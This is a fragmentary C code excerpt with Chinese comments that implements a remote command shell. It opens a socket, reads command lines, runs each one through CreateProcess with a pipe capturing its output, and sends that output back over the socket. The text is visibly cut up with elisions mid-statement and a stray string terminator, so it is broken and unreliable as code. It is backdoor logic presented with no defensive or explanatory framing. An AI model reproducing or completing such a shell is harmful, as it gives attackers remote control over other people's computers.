========================\n";
WSADATA WSAData;
SOCKET sock; //创建套接字
SOCKADDR_IN addr_in;...for (char cmdline[270];; memset(cmdline, 0, sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得...sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&hRead, &hWrite, &sa, 0); //创建管道...把命令参数复制到cmdline
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); //创建进程...,直到管道中没有数据为止
memset(buffer, 0, 2048)){
send(sock, buffer, strlen(buffer), 0);